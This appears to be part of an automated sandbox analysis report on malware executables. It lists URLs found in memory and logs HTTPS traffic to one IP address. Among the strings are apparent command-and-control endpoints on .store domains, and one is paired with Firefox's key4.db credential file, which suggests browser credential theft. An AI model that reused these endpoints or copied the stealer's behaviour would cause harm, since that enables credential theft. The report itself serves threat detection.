Source: 59d7339838.exe, 0000000A.00000003.2025900566.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2029426845.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2028887073.00000000006B4000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2026453534.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335940997.0000000001474000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335735123.000000000146C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453369895.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453727803.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 59d7339838.exe, 0000000A.00000003.1936575021.0000000000613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: 59d7339838.exe, 0000000A.00000003.1936575021.0000000000613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store//
Source: 59d7339838.exe, 0000000A.00000003.1936575021.0000000000613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/7
Source: 59d7339838.exe, 0000000A.00000003.1936575021.0000000000621000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1936725282.0000000000623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: b02ca6c530.exe, b02ca6c530.exe, 0000000B.00000003.1990105604.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2049326377.00000000001FC000.00000040.00000001.01000000.00000009.sdmp, b02ca6c530.exe, 0000000E.00000003.2156814063.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000E.00000002.2211768610.00000000001FC000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: 59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 59d7339838.exe, 00000012.00000003.2335940997.0000000001474000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335735123.000000000146C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIX
Source: 59d7339838.exe, 59d7339838.exe, 0000000A.00000003.2025900566.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2025879148.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2029426845.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2028887073.00000000006B4000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2026453534.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2320171523.0000000001476000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2439773428.0000000005B00000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453369895.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453727803.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: skotes.exe, 00000014.00000003.2404000364.00000000014B0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2418912665.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.sto
Source: 59d7339838.exe, 00000012.00000003.2276772871.000000000146C000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2316927566.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2303017992.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000002.2386043908.00000000013AB000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318704557.0000000001476000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2458444929.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2456114817.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2404000364.00000000014B0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2457298685.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2458704990.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2460236347.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2418912665.00000000014B5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453956965.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2462325173.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2461157224.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2462882499.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2455665062.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2461567226.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2461296827.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2435855737.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2457975137.00000000014BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 59d7339838.exe, 0000000C.00000002.2259088589.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2249563505.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/$Y
Source: 59d7339838.exe, 00000012.00000003.2288903484.0000000001474000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000002.2387803450.0000000001478000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289983992.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2276772871.000000000146C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/(
Source: 59d7339838.exe, 0000000A.00000003.2025900566.000000000064B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/0
Source: skotes.exe, 00000014.00000003.2603378149.00000000014B2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2513041708.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/:
Source: skotes.exe, 00000014.00000003.2417958191.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2417808555.0000000005B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/A
Source: 59d7339838.exe, 00000012.00000002.2387803450.0000000001478000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2317531609.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2320171523.0000000001476000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2359610183.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2316927566.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318704557.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/H
Source: skotes.exe, 00000014.00000003.2435855737.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/P
Source: skotes.exe, 00000014.00000003.2418912665.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/RRN
Source: 59d7339838.exe, 0000000A.00000003.2136368988.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2148501378.0000000005D12000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2259088589.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2148673061.0000000001527000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2223731891.0000000001546000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2250227598.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2132973699.0000000005D12000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2181932991.000000000153B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2224209880.0000000001546000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2261859956.000000000154A000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2249563505.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2133263162.0000000001527000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2259088589.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2250749556.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2181755430.000000000152D000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2249563505.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2173330591.0000000001527000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2133170894.0000000001525000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000002.2386043908.00000000013F9000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2276772871.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2360162514.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 59d7339838.exe, 00000012.00000003.2316927566.0000000001477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api1
Source: 59d7339838.exe, 00000012.00000003.2302670102.000000000147A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api3
Source: skotes.exe, 00000014.00000003.2418912665.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api;
Source: 59d7339838.exe, 0000000C.00000003.2132973699.0000000005D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api?#
Source: 59d7339838.exe, 0000000C.00000003.2250227598.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiC
Source: 59d7339838.exe, 00000012.00000002.2387290463.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiD
Source: skotes.exe, 00000014.00000003.2514857238.000000000143A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiH
Source: 59d7339838.exe, 0000000C.00000003.2173330591.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiIQql
Source: 59d7339838.exe, 00000012.00000002.2386043908.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiJ
Source: 59d7339838.exe, 0000000A.00000003.2136537230.0000000000656000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiK
Source: 59d7339838.exe, 0000000C.00000003.2250624104.0000000001534000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2261722955.0000000001535000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiR
Source: 59d7339838.exe, 0000000C.00000003.2223731891.0000000001546000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2250227598.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2224209880.0000000001546000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2261859956.000000000154A000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2199583995.0000000001547000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2198769585.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apig
Source: 59d7339838.exe, 0000000A.00000003.2025900566.000000000064B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2028991470.000000000064B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apihj
Source: 59d7339838.exe, 0000000C.00000003.2181932991.000000000153B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2181755430.000000000152D000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2173330591.0000000001527000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453956965.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apil
Source: 59d7339838.exe, 00000012.00000003.2360162514.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000002.2387290463.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2347631367.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiultV
Source: 59d7339838.exe, 0000000A.00000003.2058659318.00000000052E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiy
Source: 59d7339838.exe, 00000012.00000002.2387803450.0000000001478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/p
Source: skotes.exe, 00000014.00000003.2404000364.00000000014B0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2418912665.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/u
Source: 59d7339838.exe, 00000012.00000003.2359610183.0000000001477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/x
Source: skotes.exe, 00000014.00000003.2418376482.0000000005B06000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2417958191.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2418850911.0000000005B0A000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2417808555.0000000005B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/y
Source: 59d7339838.exe, 0000000A.00000003.1964521476.0000000000650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 59d7339838.exe, 00000012.00000002.2386043908.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api.default-release/key4.dbPK
Source: 59d7339838.exe, 0000000C.00000003.2249563505.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2259088589.0000000001495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiK
Source: 59d7339838.exe, 00000012.00000002.2386043908.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apil
Source: 59d7339838.exe, 0000000A.00000003.1936575021.0000000000613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store/
Source: 59d7339838.exe, 0000000A.00000003.1936575021.0000000000613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store/a
Source: 59d7339838.exe, 0000000A.00000003.1936575021.0000000000621000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1936725282.0000000000623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store/api
Source: skotes.exe, 00000014.00000003.2439136464.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: skotes.exe, 00000014.00000003.2439136464.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 59d7339838.exe	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a1
Source: 59d7339838.exe, 0000000A.00000003.2025900566.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2029426845.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2028887073.00000000006B4000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2026453534.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335940997.0000000001474000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335735123.000000000146C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453369895.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453727803.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: 59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 59d7339838.exe, 0000000A.00000003.2025879148.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2320171523.0000000001476000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453369895.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453727803.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: skotes.exe, 00000014.00000003.2439136464.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: skotes.exe, 00000014.00000003.2439136464.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: 59d7339838.exe, 0000000A.00000003.1998608119.000000000560C000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2157693972.0000000006023000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2319598693.0000000005D36000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2439136464.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: skotes.exe, 00000014.00000003.2439136464.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 59d7339838.exe, 0000000A.00000003.1998608119.000000000560C000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2157693972.0000000006023000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2319598693.0000000005D36000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2439136464.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50000 version: TLS 1.2
